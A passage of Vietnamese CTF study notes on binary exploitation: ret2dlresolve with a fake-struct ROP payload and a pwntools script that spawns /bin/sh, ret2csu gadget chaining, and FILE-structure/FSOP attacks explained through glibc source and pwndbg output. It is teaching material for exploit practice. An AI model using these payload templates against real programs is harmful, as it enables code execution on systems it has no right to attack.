JMPREL_struct += p64(r_info)
```
- dlresolve:
- ta cần setup trước khi gọi **system** cho $rdi và $rsi
```python
payload = flat(
b'A'*8, #padding
pop_rsi_r15,
0, 0,
pop_rdi,
0x404a80, #string /bin/sh
link_map,
relog_arg,
...
)
```
- sau đó DEBUG, check từng fake_struct đã đúng vị trí hay chưa
- fake_JMPREL = JMPREL+relog_arg*24
- fake_SYMTAB = SYMTAB+(r_info >> 32)*24
- fake_STRTAB = địa chỉ trỏ đến ‘system\0\0’
- từ đó mà align lại các fake_addr
- [writeup mẫu](https://hackmd.io/@trhoanglan04/ryRRPyhxT#way3)
- payload cho dlresolve:
```python
payload = flat(
b'A'*8, #a00 #padding
pop_rsi_r15, #a08
0, 0, #a10 #a18
pop_rdi, #a20
0x404a80, #a28 #string /bin/sh
link_map, #a30 #link_map
reloc_arg, #a38 #reloc_arg
SYMTAB_struct, #a40 #a48 #a50
0, 0, #a58 #a60 #padding
JMPREL_struct, #a68 #a70
b'system\0\0', #a78
b'/bin/sh\0' #a80
)
```
## tool
- thư viện pwntools có class gọi là ``Ret2dlresolvePayload``
>automates all the linking and resolution process
- [xem thêm](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)
- script mẫu:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./void',checksec=False)
p = process(exe.path)
dlresolve = Ret2dlresolvePayload(exe, symbol='system', args=['/bin/sh\0'])
rop = ROP(exe)
rop.read(0, dlresolve.data_addr)
rop.raw(rop.ret[0])
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
payload = b'a'*72 #padding
payload += raw_rop
p.send(payload)
p.send(dlresolve.payload)
p.interactive()
```
---
# RET2CSU
- là 1 kỹ thuật "bypass ASLR"
- khi ta không có đầy đủ gadget cần thiết để thực hiện ROP_chain
- nhưng lại có vài gadget luôn hiện hữu khi compile 1 file Dynamic binary
## Analyse
- khi một chương trình được compiled, ngoài các đoạn code ta viết sẽ run thì bên cạnh đó, sẽ có một số bước 'setup' mặc định được thêm vào
---> tạo environment value, 'huỷ' chương trình khi exit, v.v..

> thứ tự run khi đi từ **entry()**
- khi ta ``disas`` hàm ``__libc_csu_init`` thì thấy rằng:

> vài gadget để sửa các thanh ghi đáng chú ý
- ta sẽ quan tâm đến 2 gadget sau

> gadget1 sẽ luôn cố định là pop_rdx_rbp_r12_r13_r14_r15_ret
> gadget2 sẽ tuỳ challenge mà khác 1 chút
- GIẢ SỬ, ta có lỗi BOF ---> điều khiển được register
===> chain được gadget1 -> gadget2 và **call** đến địa chỉ mong muốn
## How?
- vì vulnerable này quá đỗi "bá đạo" nên từ glibc 2.34 trở lên đã bị removed

[link](https://sourceware.org/legacy-ml/libc-alpha/2018-06/msg00717.html)
- for examble:
```c
int main(int argc, const char *argv[]) {
return 0;
}
```
> code C program do-nothing
```sh
$ gcc empty.c -o empty
$ nm -a empty | grep " t\| T"
0000000000000520 t deregister_tm_clones
00000000000005b0 t __do_global_dtors_aux
0000000000200df8 t __do_global_dtors_aux_fini_array_entry
0000000000000684 T _fini
0000000000000684 t .fini
0000000000200df8 t .fini_array
00000000000005f0 t frame_dummy
0000000000200df0 t __frame_dummy_init_array_entry
00000000000004b8 T _init
00000000000004b8 t .init
0000000000200df0 t .init_array
0000000000200df8 t __init_array_end
0000000000200df0 t __init_array_start
0000000000000680 T __libc_csu_fini
0000000000000610 T __libc_csu_init
00000000000005fa T main
00000000000004d0 t .plt
00000000000004e0 t .plt.got
0000000000000560 t register_tm_clones
00000000000004f0 T _start
00000000000004f0 t .text
```
> listing symbols after compiling an empty C file
```
Symbol | File where the symbols was linked from
===================================================================
deregister_tm_clones |
register_tm_clones | /usr/lib/gcc/x86 64-linux-gnu/7/crtbeginS.o
__do_global_dtors _ux |
frame_dummy |
-------------------------------------------------------------------
__libc_csu_fini | /usr/lib/x86 64-linux-gnu/libc nonshared.a
__libc_csu_init |
-------------------------------------------------------------------
_fini | /usr/lib/x86 64-linux-gnu/crti.o
_init |
-------------------------------------------------------------------
_start | /usr/lib/x86 64-linux-gnu/Scrt1.o
```
> symbol names and files linked in Dynamic Executables
## Exploit
- lấy ví dụ ở hình trên, ta sẽ setup các thanh ghi như sau
| Registers | Value |
|:---------:|:-----------------:|
| $rbx | =0 |
| $rbp | =1 (compulsory) |
| $r12 | edi (4 bytes) |
| $r13 | = rsi |
| $r14 | =rdx |
| $r15 | controllable addr |
- vì nó sẽ gọi đến ``call QWORD PTR [r15 + rbx*8]`` nên để dễ khai thác ta sẽ set ``$rbx = 0``
- ngoài ra khi chain gadget, ta để ý thấy:

>còn các bước:
>```
>add rbx,0x1
>cmp rbp,rbx
>jne 0x401198 <__libc_csu_init+56>
>```
>sẽ thực hiện lại gadget2 ---> loop chương trình
:::warning
⚠️ only exployable with binary compiled dynamic by glibc <= 2.33
⚠️ ``r15+rbx*8`` contain ptr point to addr-which-we-want--to-call
:::
---
# FILE Structure Attack
## FILE Explanation
- ``FILE`` là một dạng data được định nghĩa trong glibc (tức là khi ta muốn open 1 file C)
> chú ý là nó khác với OS file descriptor
- mục đích loại data này là giúp ta mở file nhanh hơn bằng cách sử dụng buffer để giảm bớt các **IO syscall** (read,write)
:::spoiler 👉 specific
thông qua thư viện stdio:
- thay vì ta dùng **syscall** ``write`` mỗi lần ta muốn ghi dữ liệu vào 1 file (directly write the data to the hard_disk) (in this case is ``fwrite``)
- stdio sẽ cố gắng để gọi là 'handle' tất cả những operations bằng cách quản lí các data trong buffer -> chuyển qua hard_disk (through **OS syscall**)
>khi đáp ứng điều kiện nhất định : buffer is full or got flushed
:::
- mặc định, có 3 cấu trúc file ở libc luôn available là:
- ``_IO_2_1_stdin_`` : stdin
- ``_IO_2_1_stdout_`` : stdout
- ``_IO_2_1_stderr_`` : stderr
## overview
[FILE](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/bits/types/FILE.h#L7)
```c=
typedef struct _IO_FILE FILE;
```
- datatype của ``FILE`` lại là struct của ``_IO_FILE``
[_IO_FILE](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/bits/types/struct_FILE.h#L49)
```c=
/* The tag name of this struct is _IO_FILE to preserve historic
C++ mangled names for functions taking FILE* arguments.
That name should not be used in new code. */
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
```
:::spoiler detail
- ``_flags``
- this means read/write/append permissions to the file
- **0xfbad0000** is the magic value and the lower 2 bytes are several bit flags
- ``_IO_read_ptr``
- a pointer to the file read buffer.
- ``_IO_read_end``
- pointer to the end of the file read buffer address.
- ``_IO_read_base``
- this is a pointer to the start of the file read buffer address.
- ``_IO_write_base``
- a pointer to the start of the file write buffer address.
- ``_IO_write_ptr``
- a pointer to the write buffer.
- ``_IO_write_end``
- pointer to the end of the file write buffer address.
- ``_chain``
- ``_IO_FILE`` the structure of the process ``_chain`` creates a linked list through fields
- the header of the linked list ``_IO_list_all`` is stored in the global variable of the library
- ``_fileno``
- the value of the file descriptor.
- return by sys_open
:::
- kích thước của struct ``_IO_FILE`` là 0xd0
- có thể thấy ở dòng 26, cấu trúc ``FILE`` là 1 _chain liên kết với nhau (qua dslk đơn)

>đầu _chain là ``_IO_list_all``
[_IO_list_all](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/stdfiles.c#L56)
```c
struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;
```
- take a look about the chain below in GDB
```pwndbg
pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7ffff7dd2520 <_IO_2_1_stderr_>
pwndbg> p _IO_2_1_stderr_.file._chain
$2 = (struct _IO_FILE *) 0x7ffff7dd2600 <_IO_2_1_stdout_>
pwndbg> p _IO_2_1_stdout_.file._chain
$3 = (struct _IO_FILE *) 0x7ffff7dd18c0 <_IO_2_1_stdin_>
pwndbg> p _IO_2_1_stdin_.file._chain
$4 = (struct _IO_FILE *) 0x0
```
- and sample for struct:
> will comment some may_need 's exploit_addr
```pwndbg
pwndbg> p _IO_2_1_stderr_
$2 = {
file = {
_flags = 0xfbad2086, //0x0
_IO_read_ptr = 0x0, //0x8
_IO_read_end = 0x0, //0x10
_IO_read_base = 0x0, //0x18
_IO_write_base = 0x0, //0x20
_IO_write_ptr = 0x0, //0x28
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1a780 <_IO_2_1_stdout_>, //0x68
_fileno = 0x2, //file descriptor for stderr is 2
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7e1ba60 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7e198a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0, //0xc0
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7e16600 <_IO_file_jumps> //0xd8
}
```
[_IO_FILE_plus](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L324)
```c
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
```
- glibc cũng có 1 phiên bản mở rộng cho struct ``_IO_FILE`` gọi là ``_IO_FILE_plus``
> hiểu đơn giản nó là ``_IO_FILE`` + **vtable**
> size cho ``_IO_FILE`` như đề cập trên là 0xd0
> và đến **vtable** là 0xd8

:::spoiler vtable ?
- vtable is stand for 'virtual table'
- mean: 'array of pointers to the helper functions during executing the IO operation'
:::
- mặc định cái filestream(**stdin**,**stdout**,**stderr**) sẽ sử dụng glibc mở rộng này thay vì ``_IO_FILE`` thô
- ngoài ra, khi mình open file bằng **fopen()**, cũng sẽ sử dụng 'extended version'
:::spoiler why do we use the extended version (**_IO_FILE_plus**)?
- mục đích chính là để cho các hoạt động IO nhanh hơn bằng cách thêm **vtable**
- kiểu dữ liệu cho **vtable** là ``_IO_jump_t``, nơi lưu trữ các con trỏ tới các 'phương thức' trợ giúp IO cần thiết
```c
const struct _IO_jump_t *vtable;
// similiar to
extern const struct _IO_jump_t _IO_file_jumps;
```

:::
[_IO_file_jumps](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L471)

- trỏ đến địa chỉ structure, lưu trữ một số con trỏ liên quan đến file
> ***vtable** = ``_IO_file_jumps``
```pwndbg
pwndbg> p _IO_file_jumps
$1 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7a703a0 <_IO_new_file_finish>,
__overflow = 0x7ffff7a71370 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a71090 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a73cc0 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a6f9a0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a6f600 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a6ec00 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a6e8c0 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a6e740 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a62170 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a6f980 <__GI__IO_file_read>,
__write = 0x7ffff7a6f200 <_IO_new_file_write>,
__seek = 0x7ffff7a6e980 <__GI__IO_file_seek>,
__close = 0x7ffff7a6e8b0 <__GI__IO_file_close>,
__stat = 0x7ffff7a6f1f0 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a73e50 <_IO_default_imbue>
}
```
[_IO_jump_t](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L293)
- kiểu dữ liệu cho **vtable**
```c
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
```
:::spoiler **vtable** được filled như thế nào nếu tạo 1 extended struct ``FILE`` mới?
- ví dụ nếu mở 1 tệp thông qua hàm **fopen()** thì **vtable** sẽ được khởi tạo với giá trị hiện có (``_IO_file_jumps``) như sau:
```c
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
...
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
...
}
```
- tuỳ theo mục đích sử dụng sẽ có những giá trị khác nhau
(for examble: ``_IO_str_jumps``)
:::
## fake vtable
- trước khi khai thác cách này, cần lưu ý 1 điều là kỹ thuật chỉ 'exploitable' cho gblic <= 2.23
- bởi lẽ từ glibc 2.24 trở đi, đã có biến check **vtable** (do hàm ``_IO_validate_vtable()`` kiểm tra)
> versions after Ubuntu 16.04
```c
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
```
- khi chạy trên glibc > 2.24 (hoặc ví dụ Ubuntu 18.04) sẽ xuất hiện lỗi sau:
```bash
Fatal error: glibc detected an invalid stdio handle
[*] Got EOF while reading in interactive
$
[*] Process './chall' stopped with exit code -6 (SIGABRT) (pid 12345)
```
> **SIGABRT** xảy ra và có thể thấy chương trình đã chấm dứt một cách bất thường
- tuy nhiên BUG sinh ra để ta khai thác, thì dù có lớp bảo vệ như trên vẫn có cách bypass
> sẽ tìm hiểu thêm (coi thử trước [link](https://learn.dreamhack.io/11#52))
- và nếu như ta không thể tấn công bằng GOT ( ``Full Relro`` chẳng hạn) thì attacker có thể tận dụng ``_IO_FILE`` và ghi đè **vtable** để thực thi chức năng mong muốn
- examble:
- [dreamhack wargame iofile_vtable](https://hackmd.io/@trhoanglan04/HyieDY4l2#iofile_vtable)
## usage of **vtable** in a ``FILE`` structure
- DEMO nhỏ 1 bài C:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
exit(1337);
}
```
- điều gì xảy ra khi **exit()** được gọi?
> IO operations có tham gia vào quá trình phân giải?
[exit](https://elixir.bootlin.com/glibc/glibc-2.24/source/stdlib/exit.c#L103)
```c
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
```
- nó sẽ thực thi ``__run_exit_handlers``
[__run_exit_handlers](https://elixir.bootlin.com/glibc/glibc-2.24/source/stdlib/exit.c#L33)
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
...
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
...
}
```
- hmmm, nhìn source thì không có vẻ gì đặc biệt, GDB để nhìn sâu hơn
```pwndbg
pwndbg> disas __run_exit_handlers
...
0x00007ffff7a4a1fd <+125>: lea rbp,[rip+0x383694] # 0x7ffff7dcd898 <__elf_set___libc_atexit_element__IO_cleanup__>
...
pwndbg> disas __elf_set___libc_atexit_element__IO_cleanup__
```
- nó sẽ gọi đến [_IO_cleanup](https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/genops.c#L953)
```c
int _IO_cleanup (void)
{
/* We do *not* want locking. Some threads might use streams but
that is their problem, we flush them underneath them. */
int result = _IO_flush_all_lockp (0);
/* We currently don't have a reliable mechanism for making sure that
C++ static destructors are executed in the correct order.
So it is possible that other static destructors might want to
write to cout - and they're supposed to be able to do so.
The following will make the standard streambufs be unbuffered,
which forces any output from late destructors to be written out. */
_IO_unbuffer_all ();
return result;
}
```
- tiếp tục gọi đến [_IO_flush_all_lockp](https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/genops.c#L765)
```c
int _IO_flush_all_lockp (int do_lock)
{
...
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
...
}
```
- ``_IO_flush_all_lockp`` sẽ lặp lại ``FILE`` có sẵn
> lặp từ header lưu trữ trong ``_IO_list_all``
- và nếu thoã mãn 1 số điều kiện nhất định, gọi đến ``_IO_OVERFLOW (fp, EOF)``
> cố gắng nhảy đến con trỏ lưu trữ trong ``fp.vtable[__overflow]``
### summaize
- tóm lại, khi chương trình bị 'terminates', libc sẽ gọi đến ``_IO_flush_all_lockp`` để refresh file structure
- để đảm bảo data không bị mất, tất cả data trong **buffer** sẽ được refreshed
## tool
- thư viện pwntools có class gọi là ``FileStructure``
- [xem thêm](https://docs.pwntools.com/en/stable/filepointer.html)
- tuỳ theo challenge mà ta sẽ setup FileStructure
- payload mẫu
```python
fs = FileStructure(null=0x601018)
fs.flags = 0xfbad1800
fs._IO_read_base = fs._IO_read_ptr = fs._IO_buf_base = 0x601010
fs._IO_buf_end = 0x601011
fs._IO_read_end = fs._IO_write_base = 0x600fe0
fs._IO_write_ptr = fs._IO_write_end = 0x600fe8
payload = bytes(fs)
```
# FSOP
## Angelboy's leak
### alternative way to leak libc
- FSOP : File-Stream Oriented Programing
- thông thường bài này sẽ có hàm **puts** để ta tận dụng leak libc
- phân tích 1 chút:
```c
int _IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (stdout);
if ((_IO_vtable_offset (stdout) != 0
|| _IO_fwide (stdout, -1) == -1)
&& _IO_sputn (stdout, str, len) == len
&& _IO_putc_unlocked ('\n', stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (stdout);
return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)
```
- **puts** là 'bí danh' của ``_IO_puts``
- ``_IO_puts`` sẽ gọi đến ``_IO_sputn (stdout, str, len)``
> cũng như gọi đến ``_IO_XSPUTN(__fp, __s, __n)``
[xem định nghĩa](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libioP.h#L379)
- điều đó có nghĩa là nó sẽ nhảy đến con trỏ được lưu trữ cho **key** ``__xsputn`` trong **stdout** ``FILE``
- **stdout** ánh xạ đến **key** ``__xsputn`` trong phương thức ``_IO_new_file_xsputn`` (xem GDB bên dưới)
```pwndbg
pwndbg> p _IO_2_1_stdout_
$1 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7fae803 <_IO_2_1_stdout_+131> "\n",
...
_wide_data = 0x7ffff7fad9a0 <_IO_wide_data_1>,
},
vtable = 0x7ffff7faa600 <__GI__IO_file_jumps>
}
pwndbg> p __GI__IO_file_jumps
$2 = {
...
__overflow = 0x7ffff7e20e40 <_IO_new_file_overflow>,
__underflow = 0x7ffff7e20b30 <_IO_new_file_underflow>,
__uflow = 0x7ffff7e21de0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7e23300 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7e1f680 <_IO_new_file_xsputn>,
...
__write = 0x7ffff7e1ef40 <_IO_new_file_write>,
}
```
- [source](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/fileops.c#L1195):
```c
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
...
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
...
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
```
>thông qua source code, nó sẽ gọi tới ``_IO_OVERFLOW(f, EOF)`` trước khi gọi ``new_do_write`` (chuỗi ta muốn in)
- dựa trên cơ sở **vtable** ( ``_IO_file_jumps`` ), gọi đến ``_IO_OVERFLOW`` tương đương nhảy vào ``_IO_new_file_overflow``
```c
int _IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
...
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
```
> nhớ rằng arg cho **ch** là **EOF**

> khúc **return** này khá bắt mắt
- ta tiếp tục coi [source](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/fileops.c#L421):
```c
int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
return (to_do == 0 || (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
...
}
...
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
...
ssize_t _IO_new_file_write (FILE *f, const void *data, ssize_t n)
{
ssize_t to_do = n;
while (to_do > 0)
{
ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? __write_nocancel (f->_fileno, data, to_do)
: __write (f->_fileno, data, to_do));
if (count < 0)
{
f->_flags |= _IO_ERR_SEEN;
break;
}
to_do -= count;
data = (void *) ((char *) data + count);
}
n -= to_do;
if (f->_offset >= 0)
f->_offset += n;
return n;
}
```
- ``_IO_do_write`` là 'bí danh' cho ``_IO_new_do_write``
> which eventually will call ``new_do_write``
- cuối cùng nó sẽ gọi hàm ``_IO_SYSWRITE (fp, data, to_do)``
> ``_IO_SYSWRITE`` sẽ nhảy đến nơi con trỏ **vtable** được lưu trữ ánh xạ từ **key** ``__write``
> với **vtable** được đề cập trên, tương đương sẽ chỉ định đến ``_IO_new_file_write``
> và gọi ``write(f->fileno, data, to_do)``
- các bước thực hiện:
```c
puts(str)
|_ _IO_new_file_xsputn (stdout, str, len)
|_ _IO_new_file_overflow (stdout, EOF)
|_ new_do_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
|_ _IO_new_file_write(stdout, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
|_ write(stdout->fileno, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
```
> trong đó call của bước này ta sẽ để ý
> ```
> write(stdout->fileno, stdout->_IO_write_base, stdout->_IO_write_ptr - stdout->_IO_write_base)
> ```
- túm lại, để thoả mãn **write(fd,buf,size)** in 1 thứ gì đó ra thì:
- ``stdout->fileno`` = 1 (tương đương **fd**)
- ``stdout->_IO_write_base`` = const char *buf (tương đương **buf**)
- ``stdout->_IO_write_ptr - stdout->_IO_write_base`` = size_t count (tương đương **size**)

``write(1, _IO_write_base, _IO_write_ptr - _IO_write_base)``
## define vars
- ta xem qua các [biến](https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libio.h#L71) được định nghĩa ntn:
```c
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
```
- để **write()** thành công thì ở hàm ``_IO_new_file_overflow`` cần bypass các check trước khi gọi ``_IO_do_write``
- ``if (f->_flags & _IO_NO_WRITES)`` cần return **False**
- ``_IO_NO_WRITES`` là 0x0008, có nghĩa ``stdout->_flags & 0x0008`` cần = 0
